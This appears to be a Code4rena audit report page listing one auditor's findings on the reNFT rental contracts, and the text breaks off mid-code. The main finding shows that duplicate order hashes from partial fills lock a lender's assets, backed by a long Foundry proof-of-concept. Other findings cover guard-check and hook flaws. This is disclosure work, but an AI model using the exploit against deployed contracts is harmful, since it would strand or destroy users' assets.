Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 4/116
Findings: 6
Award: $3,124.22
🌟 Selected for report: 2
🚀 Solo Findings: 0
2027.3132 USDC - $2,027.31
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L592-L595 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L189-L203 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195
If the lender creates an offer set to partial, the attacker can lock parts of the lender's assets inside the attacker's safe.
When reNFT zone validates the offer and create the rental, it will calculate order hash using _deriveRentalOrderHash
, and add the rentals by calling STORE.addRentals
to storage using the calculated hash.
function _rentFromZone( RentPayload memory payload, SeaportPayload memory seaportPayload ) internal { // Check: make sure order metadata is valid with the given seaport order zone hash. _isValidOrderMetadata(payload.metadata, seaportPayload.zoneHash); // Check: verify the fulfiller of the order is an owner of the recipient safe. _isValidSafeOwner(seaportPayload.fulfiller, payload.fulfillment.recipient); // Check: verify each execution was sent to the expected destination. _executionInvariantChecks( seaportPayload.totalExecutions, payload.fulfillment.recipient ); // Check: validate and process seaport offer and consideration items based // on the order type. Item[] memory items = _convertToItems( seaportPayload.offer, seaportPayload.consideration, payload.metadata.orderType ); // PAYEE orders are considered mirror-images of a PAY order. So, PAYEE orders // do not need to be processed in the same way that other order types do. if ( payload.metadata.orderType.isBaseOrder() || payload.metadata.orderType.isPayOrder() ) { // Create an accumulator which will hold all of the rental asset updates, consisting of IDs and // the rented amount. From this point on, new memory cannot be safely allocated until the // accumulator no longer needs to include elements. bytes memory rentalAssetUpdates = new bytes(0); // Check if each item is a rental. If so, then generate the rental asset update. // Memory will become safe again after this block. for (uint256 i; i < items.length; ++i) { if (items[i].isRental()) { // Insert the rental asset update into the dynamic array. _insert( rentalAssetUpdates, items[i].toRentalId(payload.fulfillment.recipient), items[i].amount ); } } // Generate the rental order. RentalOrder memory order = RentalOrder({ seaportOrderHash: seaportPayload.orderHash, items: items, hooks: payload.metadata.hooks, orderType: payload.metadata.orderType, lender: seaportPayload.offerer, renter: payload.intendedFulfiller, rentalWallet: payload.fulfillment.recipient, startTimestamp: block.timestamp, endTimestamp: block.timestamp + payload.metadata.rentDuration }); // Compute the order hash. >>> bytes32 orderHash = _deriveRentalOrderHash(order); // Interaction: Update storage only if the order is a Base Order or Pay order. >>> STORE.addRentals(orderHash, _convertToStatic(rentalAssetUpdates)); // Interaction: Increase the deposit value on the payment escrow so // it knows how many tokens were sent to it. for (uint256 i = 0; i < items.length; ++i) { if (items[i].isERC20()) { ESCRW.increaseDeposit(items[i].token, items[i].amount); } } // Interaction: Process the hooks associated with this rental. if (payload.metadata.hooks.length > 0) { _addHooks( payload.metadata.hooks, seaportPayload.offer, payload.fulfillment.recipient ); } // Emit rental order started. _emitRentalOrderStarted(order, orderHash, payload.metadata.emittedExtraData); } }
function _deriveRentalOrderHash( RentalOrder memory order ) internal view returns (bytes32) { // Create arrays for items and hooks. bytes32[] memory itemHashes = new bytes32[](order.items.length); bytes32[] memory hookHashes = new bytes32[](order.hooks.length); // Iterate over each item. for (uint256 i = 0; i < order.items.length; ++i) { // Hash the item. itemHashes[i] = _deriveItemHash(order.items[i]); } // Iterate over each hook. for (uint256 i = 0; i < order.hooks.length; ++i) { // Hash the hook. hookHashes[i] = _deriveHookHash(order.hooks[i]); } return keccak256( abi.encode( _RENTAL_ORDER_TYPEHASH, order.seaportOrderHash, keccak256(abi.encodePacked(itemHashes)), keccak256(abi.encodePacked(hookHashes)), order.orderType, order.lender, order.renter, order.startTimestamp, order.endTimestamp ) ); }
The problem is that if a lender's offer is created to support partial fills, the attacker can create multiple similar orders referring to the same seaportPayload.orderHash
. Because the similar orders result in the same hash, the amount of assets that will be returned to the attacker for that hash will be only equal to the items[i].amount
value of the order, while the remaining assets will be locked. Because the second time lender call stopRent
it will revert caused by the rental status already removed.
function removeRentals( bytes32 orderHash, RentalAssetUpdate[] calldata rentalAssetUpdates ) external onlyByProxy permissioned { // The order must exist to be deleted. if (!orders[orderHash]) { >>> revert Errors.StorageModule_OrderDoesNotExist(orderHash); } else { // Delete the order from storage. delete orders[orderHash]; } // Process each rental asset. for (uint256 i = 0; i < rentalAssetUpdates.length; ++i) { RentalAssetUpdate memory asset = rentalAssetUpdates[i]; // Reduce the amount of tokens for the particular rental ID. rentedAssets[asset.rentalId] -= asset.amount; } }
Example Scenario :
Alice create PAY
Offer that support partial fills consist of 2 ERC1155 and 100 ERC20 token A for the provided duration.
Bob fills the offer, by creating two similar partial fills, 1 ERC1155 and 50 ERC20.
Because the two offer result in the same order hash, when alice want to stop the rent, alice will only get 1 ERC1155 and 50 ERC20.
Coded PoC :
Modify the test files to the following :
diff --git a/test/fixtures/engine/OrderCreator.sol b/test/fixtures/engine/OrderCreator.sol index 6cf6050..a4791d4 100644 --- a/test/fixtures/engine/OrderCreator.sol +++ b/test/fixtures/engine/OrderCreator.sol @@ -64,9 +64,10 @@ contract OrderCreator is BaseProtocol { // Define a standard OrderComponents struct which is ready for // use with the Create Policy and the protocol conduit contract + // PARTIAL_RESTRICTED from FULL_RESTRICTED OrderComponentsLib .empty() - .withOrderType(SeaportOrderType.FULL_RESTRICTED) + .withOrderType(SeaportOrderType.PARTIAL_RESTRICTED) .withZone(address(create)) .withStartTime(block.timestamp) .withEndTime(block.timestamp + 100) diff --git a/test/fixtures/engine/OrderFulfiller.sol b/test/fixtures/engine/OrderFulfiller.sol index d61448a..5f12d23 100644 --- a/test/fixtures/engine/OrderFulfiller.sol +++ b/test/fixtures/engine/OrderFulfiller.sol @@ -113,6 +113,54 @@ contract OrderFulfiller is OrderCreator { ); } + function createOrderFulfillmentPartial( + ProtocolAccount memory _fulfiller, + Order memory order, + bytes32 orderHash, + OrderMetadata memory metadata + ) internal { + // set the fulfiller account + fulfiller = _fulfiller; + + // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via + // `matchAdvancedOrders`, then any unspent offer items will go to this address as well + seaportRecipient = address(_fulfiller.safe); + + // get a pointer to a new order to fulfill + OrderToFulfill storage orderToFulfill = ordersToFulfill.push(); + + // create an order fulfillment + OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe)); + + // add the order hash and fulfiller + orderToFulfill.orderHash = orderHash; + + // create rental zone payload data + _createRentalPayload( + orderToFulfill.payload, + RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr) + ); + + // generate the signature for the payload + bytes memory signature = _signProtocolOrder( + rentalSigner.privateKey, + create.getRentPayloadHash(orderToFulfill.payload) + ); + + // create an advanced order from the order. Pass the rental + // payload as extra data + _createAdvancedOrder( + orderToFulfill.advancedOrder, + AdvancedOrder( + order.parameters, + 1, + 2, + order.signature, + abi.encode(orderToFulfill.payload, signature) + ) + ); + } + function _createOrderFulfiller( ProtocolAccount storage storageFulfiller, ProtocolAccount memory _fulfiller @@ -323,6 +371,96 @@ contract OrderFulfiller is OrderCreator { } } + function _createRentalOrderPartial( + OrderToFulfill memory orderToFulfill + ) internal view returns (RentalOrder memory rentalOrder) { + // get the order parameters + OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters; + + // get the payload + RentPayload memory payload = orderToFulfill.payload; + + // get the metadata + OrderMetadata memory metadata = payload.metadata; + + // construct a rental order + rentalOrder = RentalOrder({ + seaportOrderHash: orderToFulfill.orderHash, + items: new Item[](parameters.offer.length + parameters.consideration.length), + hooks: metadata.hooks, + orderType: metadata.orderType, + lender: parameters.offerer, + renter: payload.intendedFulfiller, + rentalWallet: payload.fulfillment.recipient, + startTimestamp: block.timestamp, + endTimestamp: block.timestamp + metadata.rentDuration + }); + + // for each new offer item being rented, create a new item struct to add to the rental order + for (uint256 i = 0; i < parameters.offer.length; i++) { + // PAYEE orders cannot have offer items + require( + metadata.orderType != OrderType.PAYEE, + "TEST: cannot have offer items in PAYEE order" + ); + + // get the offer item + OfferItem memory offerItem = parameters.offer[i]; + + // determine the item type + ItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType); + + // determine which entity the payment will settle to + SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20 + ? SettleTo.RENTER + : SettleTo.LENDER; + + // create a new rental item + rentalOrder.items[i] = Item({ + itemType: itemType, + settleTo: settleTo, + token: offerItem.token, + amount: offerItem.startAmount / 2, + identifier: offerItem.identifierOrCriteria + }); + } + + // for each consideration item in return, create a new item struct to add to the rental order + for (uint256 i = 0; i < parameters.consideration.length; i++) { + // PAY orders cannot have consideration items + require( + metadata.orderType != OrderType.PAY, + "TEST: cannot have consideration items in PAY order" + ); + + // get the offer item + ConsiderationItem memory considerationItem = parameters.consideration[i]; + + // determine the item type + ItemType itemType = _seaportItemTypeToRentalItemType( + considerationItem.itemType + ); + + // determine which entity the payment will settle to + SettleTo settleTo = metadata.orderType == OrderType.PAYEE && + considerationItem.itemType == SeaportItemType.ERC20 + ? SettleTo.RENTER + : SettleTo.LENDER; + + // calculate item index offset + uint256 itemIndex = i + parameters.offer.length; + + // create a new payment item + rentalOrder.items[itemIndex] = Item({ + itemType: itemType, + settleTo: settleTo, + token: considerationItem.token, + amount: considerationItem.startAmount, + identifier: considerationItem.identifierOrCriteria + }); + } + } + function _signProtocolOrder( uint256 signerPrivateKey, bytes32 payloadHash @@ -526,20 +664,73 @@ contract OrderFulfiller is OrderCreator { } // otherwise, expect the relevant event to be emitted. else { - vm.expectEmit({emitter: address(create)}); - emit Events.RentalOrderStarted( - create.getRentalOrderHash(payRentalOrder), - payOrder.payload.metadata.emittedExtraData, - payRentalOrder.seaportOrderHash, - payRentalOrder.items, - payRentalOrder.hooks, - payRentalOrder.orderType, - payRentalOrder.lender, - payRentalOrder.renter, - payRentalOrder.rentalWallet, - payRentalOrder.startTimestamp, - payRentalOrder.endTimestamp - ); + // vm.expectEmit({emitter: address(create)}); + // emit Events.RentalOrderStarted( + // create.getRentalOrderHash(payRentalOrder), + // payOrder.payload.metadata.emittedExtraData, + // payRentalOrder.seaportOrderHash, + // payRentalOrder.items, + // payRentalOrder.hooks, + // payRentalOrder.orderType, + // payRentalOrder.lender, + // payRentalOrder.renter, + // payRentalOrder.rentalWallet, + // payRentalOrder.startTimestamp, + // payRentalOrder.endTimestamp + // ); + } + + // the offerer of the PAYEE order fulfills the orders. + vm.prank(fulfiller.addr); + + // fulfill the orders + seaport.matchAdvancedOrders( + _deconstructOrdersToFulfill(), + new CriteriaResolver[](0), + seaportMatchOrderFulfillments, + seaportRecipient + ); + + // clear structs + resetFulfiller(); + resetOrdersToFulfill(); + resetSeaportMatchOrderFulfillments(); + } + + function _finalizePayOrderFulfillmentPartial( + bytes memory expectedError + ) + private + returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) + { + // get the orders to fulfill + OrderToFulfill memory payOrder = ordersToFulfill[0]; + OrderToFulfill memory payeeOrder = ordersToFulfill[1]; + + // create rental orders + payRentalOrder = _createRentalOrderPartial(payOrder); + payeeRentalOrder = _createRentalOrder(payeeOrder); + + // expect an error if error data was provided + if (expectedError.length != 0) { + vm.expectRevert(expectedError); + } + // otherwise, expect the relevant event to be emitted. + else { + // vm.expectEmit({emitter: address(create)}); + // emit Events.RentalOrderStarted( + // create.getRentalOrderHash(payRentalOrder), + // payOrder.payload.metadata.emittedExtraData, + // payRentalOrder.seaportOrderHash, + // payRentalOrder.items, + // payRentalOrder.hooks, + // payRentalOrder.orderType, + // payRentalOrder.lender, + // payRentalOrder.renter, + // payRentalOrder.rentalWallet, + // payRentalOrder.startTimestamp, + // payRentalOrder.endTimestamp + // ); } // the offerer of the PAYEE order fulfills the orders. @@ -566,6 +757,13 @@ contract OrderFulfiller is OrderCreator { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes("")); } + function finalizePayOrderFulfillmentPartial() + internal + returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) +{ + (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillmentPartial(bytes("")); +} + function finalizePayOrderFulfillmentWithError( bytes memory expectedError ) diff --git a/test/integration/Rent.t.sol b/test/integration/Rent.t.sol index 6c4c8d3..f20b299 100644 --- a/test/integration/Rent.t.sol +++ b/test/integration/Rent.t.sol @@ -13,6 +13,7 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct import {BaseTest} from "@test/BaseTest.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; +import "@forge-std/console.sol"; contract TestRent is BaseTest { function test_Success_Rent_BaseOrder_ERC721() public { @@ -276,6 +277,135 @@ contract TestRent is BaseTest { assertEq(erc721s[0].ownerOf(0), address(bob.safe)); } + function test_Success_Rent_PayOrder_Partial() public { + // create a PAY order + createOrder({ + offerer: alice, + orderType: OrderType.PAY, + erc721Offers: 0, + erc1155Offers: 2, + erc20Offers: 1, + erc721Considerations: 0, + erc1155Considerations: 0, + erc20Considerations: 0 + }); + + // finalize the pay order creation + ( + Order memory payOrder, + bytes32 payOrderHash, + OrderMetadata memory payOrderMetadata + ) = finalizeOrder(); + + // create a PAYEE order. The fulfiller will be the offerer. + createOrder({ + offerer: bob, + orderType: OrderType.PAYEE, + erc721Offers: 0, + erc1155Offers: 0, + erc20Offers: 0, + erc721Considerations: 0, + erc1155Considerations: 2, + erc20Considerations: 1 + }); + + // finalize the pay order creation + ( + Order memory payeeOrder, + bytes32 payeeOrderHash, + OrderMetadata memory payeeOrderMetadata + ) = finalizeOrder(); + + // create an order fulfillment for the pay order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payOrder, + orderHash: payOrderHash, + metadata: payOrderMetadata + }); + + // create an order fulfillment for the payee order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payeeOrder, + orderHash: payeeOrderHash, + metadata: payeeOrderMetadata + }); + + // add an amendment to include the seaport fulfillment structs + withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1}); + + // finalize the order pay/payee order fulfillment + ( + RentalOrder memory payRentalOrder, + RentalOrder memory payeeRentalOrder + ) = finalizePayOrderFulfillment(); + + + // get the rental order hashes + bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder); + bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder); + console.log("first pay rental order : "); + console.logBytes32(payRentalOrderHash); + console.log("first payee rental order : "); + console.logBytes32(payeeRentalOrderHash); + // second time - my addition + // create an order fulfillment for the pay order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payOrder, + orderHash: payOrderHash, + metadata: payOrderMetadata + }); + + // create an order fulfillment for the payee order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payeeOrder, + orderHash: payeeOrderHash, + metadata: payeeOrderMetadata + }); + + // add an amendment to include the seaport fulfillment structs + withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1}); + + // finalize the order pay/payee order fulfillment + ( + payRentalOrder, + payeeRentalOrder + ) = finalizePayOrderFulfillment(); + + // get the rental order hashes + payRentalOrderHash = create.getRentalOrderHash(payRentalOrder); + payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder); + console.log("second pay rental order : "); + console.logBytes32(payRentalOrderHash); + console.log("second payee rental order : "); + console.logBytes32(payeeRentalOrderHash); + // second time - end + + // assert that the rental order was stored + assertEq(STORE.orders(payRentalOrderHash), true); + + // assert that the payee rental order was not put in storage + assertEq(STORE.orders(payeeRentalOrderHash), false); + + // assert that the token is in storage + // assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true); + + // assert that the offerer made a payment + assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900)); + + // assert that a payment was made to the escrow contract + assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100)); + + // assert that a payment was synced properly in the escrow contract + assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100)); + + // assert that the ERC721 is in the rental wallet of the fulfiller + // assertEq(erc721s[0].ownerOf(0), address(bob.safe)); + } + // This test involves a PAY order where one of the items is left out of the PAYEE order. // Instead, the fulfiller attempts to use the `recipient` input parameter on `matchAdvancedOrders` // to try to send an asset to an unauthorized address diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol index 3d19d3c..0cf67c2 100644 --- a/test/integration/StopRent.t.sol +++ b/test/integration/StopRent.t.sol @@ -7,6 +7,8 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct import {BaseTest} from "@test/BaseTest.sol"; +import "@forge-std/console.sol"; + contract TestStopRent is BaseTest { function test_StopRent_BaseOrder() public { // create a BASE order @@ -245,6 +247,134 @@ contract TestStopRent is BaseTest { assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0)); } + function test_stopRent_payOrder_inFull_stoppedByRenter_Partial() public { + // create a PAY order + createOrder({ + offerer: alice, + orderType: OrderType.PAY, + erc721Offers: 0, + erc1155Offers: 2, + erc20Offers: 1, + erc721Considerations: 0, + erc1155Considerations: 0, + erc20Considerations: 0 + }); + + // finalize the pay order creation + ( + Order memory payOrder, + bytes32 payOrderHash, + OrderMetadata memory payOrderMetadata + ) = finalizeOrder(); + + // create a PAYEE order. The fulfiller will be the offerer. + createOrder({ + offerer: bob, + orderType: OrderType.PAYEE, + erc721Offers: 0, + erc1155Offers: 0, + erc20Offers: 0, + erc721Considerations: 0, + erc1155Considerations: 2, + erc20Considerations: 1 + }); + + // finalize the pay order creation + ( + Order memory payeeOrder, + bytes32 payeeOrderHash, + OrderMetadata memory payeeOrderMetadata + ) = finalizeOrder(); + + // create an order fulfillment for the pay order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payOrder, + orderHash: payOrderHash, + metadata: payOrderMetadata + }); + + // create an order fulfillment for the payee order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payeeOrder, + orderHash: payeeOrderHash, + metadata: payeeOrderMetadata + }); + + // add an amendment to include the seaport fulfillment structs + withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1}); + + // finalize the order pay/payee order fulfillment + (RentalOrder memory payRentalOrderFirst, ) = finalizePayOrderFulfillmentPartial(); + + // get the rental order hashes + bytes32 payRentalOrderHashFirst = create.getRentalOrderHash(payRentalOrderFirst); + console.log("first pay rental order : "); + console.logBytes32(payRentalOrderHashFirst); + console.log(STORE.orders(payRentalOrderHashFirst)); + // second time - my addition + // create an order fulfillment for the pay order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payOrder, + orderHash: payOrderHash, + metadata: payOrderMetadata + }); + + // create an order fulfillment for the payee order + createOrderFulfillmentPartial({ + _fulfiller: bob, + order: payeeOrder, + orderHash: payeeOrderHash, + metadata: payeeOrderMetadata + }); + + // add an amendment to include the seaport fulfillment structs + withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1}); + + // finalize the order pay/payee order fulfillment + ( + RentalOrder memory payRentalOrderFirstSecond, + ) = finalizePayOrderFulfillmentPartial(); + + // get the rental order hashes + console.log("second pay rental order : "); + bytes32 payRentalOrderHashSecond = create.getRentalOrderHash(payRentalOrderFirstSecond); + console.logBytes32(payRentalOrderHashSecond); + console.log(STORE.orders(payRentalOrderHashSecond)); + // second time - end + + // speed up in time past the rental expiration + vm.warp(block.timestamp + 750); + + // stop the rental order + vm.prank(bob.addr); + stop.stopRent(payRentalOrderFirst); + vm.expectRevert(); + stop.stopRent(payRentalOrderFirstSecond); + + // assert that the rental order doesnt exist in storage + assertEq(STORE.orders(payRentalOrderHashFirst), false); + + // assert that the token is still mark as rented due to amount still exist in storage + assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true); + assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[1]), 0), true); + + // assert that the ERC1155 is back to alice only half of them + assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(50)); + assertEq(erc1155s[1].balanceOf(address(alice.addr), 0), uint256(50)); + + // assert that the offerer made a payment + assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900)); + + // assert that the fulfiller received the payment + assertEq(erc20s[0].balanceOf(bob.addr), uint256(10050)); + + // assert that a payment was pulled from the escrow contract + assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(50)); + } + function test_stopRent_payOrder_proRata_stoppedByLender() public { // create a PAY order createOrder({
Run the test :
forge test -vv --match-contract TestStopRent --match-test test_stopRent_payOrder_inFull_stoppedByRenter_Partial
From the test, it can be observed that half of the lender's assets are locked, and the order cannot be stopped even after the rent duration has passed.
Manual review.
Introduce nonce when calculating orderHash, to ensure every order will always unique.
Invalid Validation
#0 - c4-pre-sort
2024-01-21T18:05:27Z
141345 marked the issue as primary issue
#1 - c4-pre-sort
2024-01-21T18:05:33Z
141345 marked the issue as sufficient quality report
#2 - c4-sponsor
2024-01-24T18:40:15Z
Alec1017 (sponsor) confirmed
#3 - c4-judge
2024-01-27T16:59:47Z
0xean marked the issue as satisfactory
#4 - c4-judge
2024-01-28T19:07:38Z
0xean marked the issue as selected for report
🌟 Selected for report: sin1st3r__
Also found by: 0xA5DF, J4X, JCN, Jorgect, KupiaSec, evmboi32, jasonxiale, kaden, said
67.1301 USDC - $67.13
ERC1155 safeTransferFrom
check inside Guard
's checkTransaction
is too restrictive and not considering the amount of token that is currently active on rental.
If safe owner want to move ERC1155 from the safe, it will check if the ERC1155 token is currently is an active rental item.
function _checkTransaction(address from, address to, bytes memory data) private view { bytes4 selector; // Load in the function selector. assembly { selector := mload(add(data, 0x20)) } // ... >>> } else if (selector == e1155_safe_transfer_from_selector) { // Load the token ID from calldata. uint256 tokenId = uint256( _loadValueFromCalldata(data, e1155_safe_transfer_from_token_id_offset) ); // Check if the selector is allowed. >>> _revertSelectorOnActiveRental(selector, from, to, tokenId); } else if (selector == gnosis_safe_enable_module_selector) { // Load the extension address from calldata. address extension = address( uint160( uint256( _loadValueFromCalldata(data, gnosis_safe_enable_module_offset) ) ) ); // Check if the extension is whitelisted. _revertNonWhitelistedExtension(extension); } else if (selector == gnosis_safe_disable_module_selector) { // Load the extension address from calldata. address extension = address( uint160( uint256( _loadValueFromCalldata(data, gnosis_safe_disable_module_offset) ) ) ); // Check if the extension is whitelisted. _revertNonWhitelistedExtension(extension); } else { // Revert if the `setApprovalForAll` selector is specified. This selector is // shared between ERC721 and ERC1155 tokens. if (selector == shared_set_approval_for_all_selector) { revert Errors.GuardPolicy_UnauthorizedSelector( shared_set_approval_for_all_selector ); } // Revert if the `safeBatchTransferFrom` selector is specified. There's no // cheap way to check if individual items in the batch are rented out. // Each token ID would require a call to the storage contract to check // its rental status. if (selector == e1155_safe_batch_transfer_from_selector) { revert Errors.GuardPolicy_UnauthorizedSelector( e1155_safe_batch_transfer_from_selector ); } // Revert if the `setGuard` selector is specified. if (selector == gnosis_safe_set_guard_selector) { revert Errors.GuardPolicy_UnauthorizedSelector( gnosis_safe_set_guard_selector ); } } }
function _revertSelectorOnActiveRental( bytes4 selector, address safe, address token, uint256 tokenId ) private view { // Check if the selector is allowed. if (STORE.isRentedOut(safe, token, tokenId)) { revert Errors.GuardPolicy_UnauthorizedSelector(selector); } }
function isRentedOut( address recipient, address token, uint256 identifier ) external view returns (bool) { // calculate the rental ID RentalId rentalId = RentalUtils.getItemPointer(recipient, token, identifier); // Determine if there is a positive amount return rentedAssets[rentalId] != 0; }
The current check is too restrictive and does not consider the actual amount of rentedAssets
for the corresponding rentalId
. For instance, if a safe holds 100 units of ERC1155 corresponding to the tokenId, and only 10 of them are rented assets, the check prevents the transfer of the 90 units out of the safe, even though they are not rented assets.
Manual review
For ERC1155, check the actual rentedAssets
amount and compare to the amount that safe want to transfer.
Invalid Validation
#0 - c4-pre-sort
2024-01-21T18:00:30Z
141345 marked the issue as duplicate of #600
#1 - c4-judge
2024-01-27T18:09:33Z
0xean changed the severity to 3 (High Risk)
#2 - c4-judge
2024-01-28T11:19:37Z
0xean changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-01-28T11:22:44Z
0xean marked the issue as satisfactory
🌟 Selected for report: AkshaySrivastav
Also found by: 0xA5DF, 0xAlix2, 0xDING99YA, 0xdice91, BARW, BI_security, EV_om, J4X, Jorgect, SBSecurity, ZdravkoHr, evmboi32, hals, haxatron, imare, juancito, kaden, marqymarq10, oakcobalt, rbserver, rokinot, rvierdiiev, said, serial-coder, trachev
4.7844 USDC - $4.78
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L288-L290 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L210-L212
Hooks are a part of the order that remains the same throughout the entire rent lifecycle (create and stop). Hooks can be configured to be called on start or stop, or they can be removed completely. If hooks are not configured on stop or are removed entirely, rents that depend on them could become stuck and cannot be stopped.
Hooks can be configured by guard admin, to disable/enable on start/stop, or remove it completely.
function updateHookStatus( address hook, uint8 bitmap ) external onlyRole("GUARD_ADMIN") { STORE.updateHookStatus(hook, bitmap); }
function updateHookStatus( address hook, uint8 bitmap ) external onlyByProxy permissioned { // Require that the `hook` address is a contract. if (hook.code.length == 0) revert Errors.StorageModule_NotContract(hook); // 7 is 0x00000111. This ensures that only a valid bitmap can be set. if (bitmap > uint8(7)) revert Errors.StorageModule_InvalidHookStatusBitmap(bitmap); // Update the status of the hook. hookStatus[hook] = bitmap; }
When stopRent
/stopRentBatch
is called, it will eventually call _removeHooks
and trigger each hook :
function _removeHooks( Hook[] calldata hooks, Item[] calldata rentalItems, address rentalWallet ) internal { // Define hook target, item index, and item. address target; uint256 itemIndex; Item memory item; // Loop through each hook in the payload. for (uint256 i = 0; i < hooks.length; ++i) { // Get the hook address. target = hooks[i].target; // Check that the hook is reNFT-approved to execute on rental stop. >>> if (!STORE.hookOnStop(target)) { revert Errors.Shared_DisabledHook(target); } // Get the rental item index for this hook. itemIndex = hooks[i].itemIndex; // Get the rental item for this hook. item = rentalItems[itemIndex]; // Make sure the item is a rented item. if (!item.isRental()) { revert Errors.Shared_NonRentalHookItem(itemIndex); } // Call the hook with data about the rented item. try IHook(target).onStop( rentalWallet, item.token, item.identifier, item.amount, hooks[i].extraData ) {} catch Error(string memory revertReason) { // Revert with reason given. revert Errors.Shared_HookFailString(revertReason); } catch Panic(uint256 errorCode) { // Convert solidity panic code to string. string memory stringErrorCode = LibString.toString(errorCode); // Revert with panic code. revert Errors.Shared_HookFailString( string.concat("Hook reverted: Panic code ", stringErrorCode) ); } catch (bytes memory revertData) { // Fallback to an error that returns the byte data. revert Errors.Shared_HookFailBytes(revertData); } } }
It can be observed that if hookOnStop
is false, could be due to disabled or removed, it will revert, causing the rent cannot be stopped and assets to stuck.
Manual review
Consider to just skip the hook call if hookOnStop
is false rather than revert.
Error
#0 - c4-pre-sort
2024-01-21T17:58:54Z
141345 marked the issue as duplicate of #501
#1 - c4-judge
2024-01-28T19:36:45Z
0xean marked the issue as satisfactory
🌟 Selected for report: LokiThe5th
Also found by: 0xAlix2, BI_security, Coverage, EV_om, Giorgio, KupiaSec, Qkite, SBSecurity, anshujalan, evmboi32, hals, juancito, krikolkk, oakcobalt, rbserver, rokinot, roleengineer, said, sin1st3r__, trachev, yashar
8.618 USDC - $8.62
Many ERC721/ERC1155 tokens, including well-known games such as The Sandbox, allow users to burn tokens that they own. This burn functionality is currently not prevented in the guard module, allowing a malicious renter to burn lender assets.
It can be observed that currently, calling ERC721/ERC1155's burn functions is still allowed.
function _checkTransaction(address from, address to, bytes memory data) private view { bytes4 selector; // Load in the function selector. assembly { selector := mload(add(data, 0x20)) } if (selector == e721_safe_transfer_from_1_selector) { // Load the token ID from calldata. uint256 tokenId = uint256( _loadValueFromCalldata(data, e721_safe_transfer_from_1_token_id_offset) ); // Check if the selector is allowed. _revertSelectorOnActiveRental(selector, from, to, tokenId); } else if (selector == e721_safe_transfer_from_2_selector) { // Load the token ID from calldata. uint256 tokenId = uint256( _loadValueFromCalldata(data, e721_safe_transfer_from_2_token_id_offset) ); // Check if the selector is allowed. _revertSelectorOnActiveRental(selector, from, to, tokenId); } else if (selector == e721_transfer_from_selector) { // Load the token ID from calldata. uint256 tokenId = uint256( _loadValueFromCalldata(data, e721_transfer_from_token_id_offset) ); // Check if the selector is allowed. _revertSelectorOnActiveRental(selector, from, to, tokenId); } else if (selector == e721_approve_selector) { // Load the token ID from calldata. uint256 tokenId = uint256( _loadValueFromCalldata(data, e721_approve_token_id_offset) ); // Check if the selector is allowed. _revertSelectorOnActiveRental(selector, from, to, tokenId); } else if (selector == e1155_safe_transfer_from_selector) { // Load the token ID from calldata. uint256 tokenId = uint256( _loadValueFromCalldata(data, e1155_safe_transfer_from_token_id_offset) ); // Check if the selector is allowed. _revertSelectorOnActiveRental(selector, from, to, tokenId); } else if (selector == gnosis_safe_enable_module_selector) { // Load the extension address from calldata. address extension = address( uint160( uint256( _loadValueFromCalldata(data, gnosis_safe_enable_module_offset) ) ) ); // Check if the extension is whitelisted. _revertNonWhitelistedExtension(extension); } else if (selector == gnosis_safe_disable_module_selector) { // Load the extension address from calldata. address extension = address( uint160( uint256( _loadValueFromCalldata(data, gnosis_safe_disable_module_offset) ) ) ); // Check if the extension is whitelisted. _revertNonWhitelistedExtension(extension); } else { // Revert if the `setApprovalForAll` selector is specified. This selector is // shared between ERC721 and ERC1155 tokens. if (selector == shared_set_approval_for_all_selector) { revert Errors.GuardPolicy_UnauthorizedSelector( 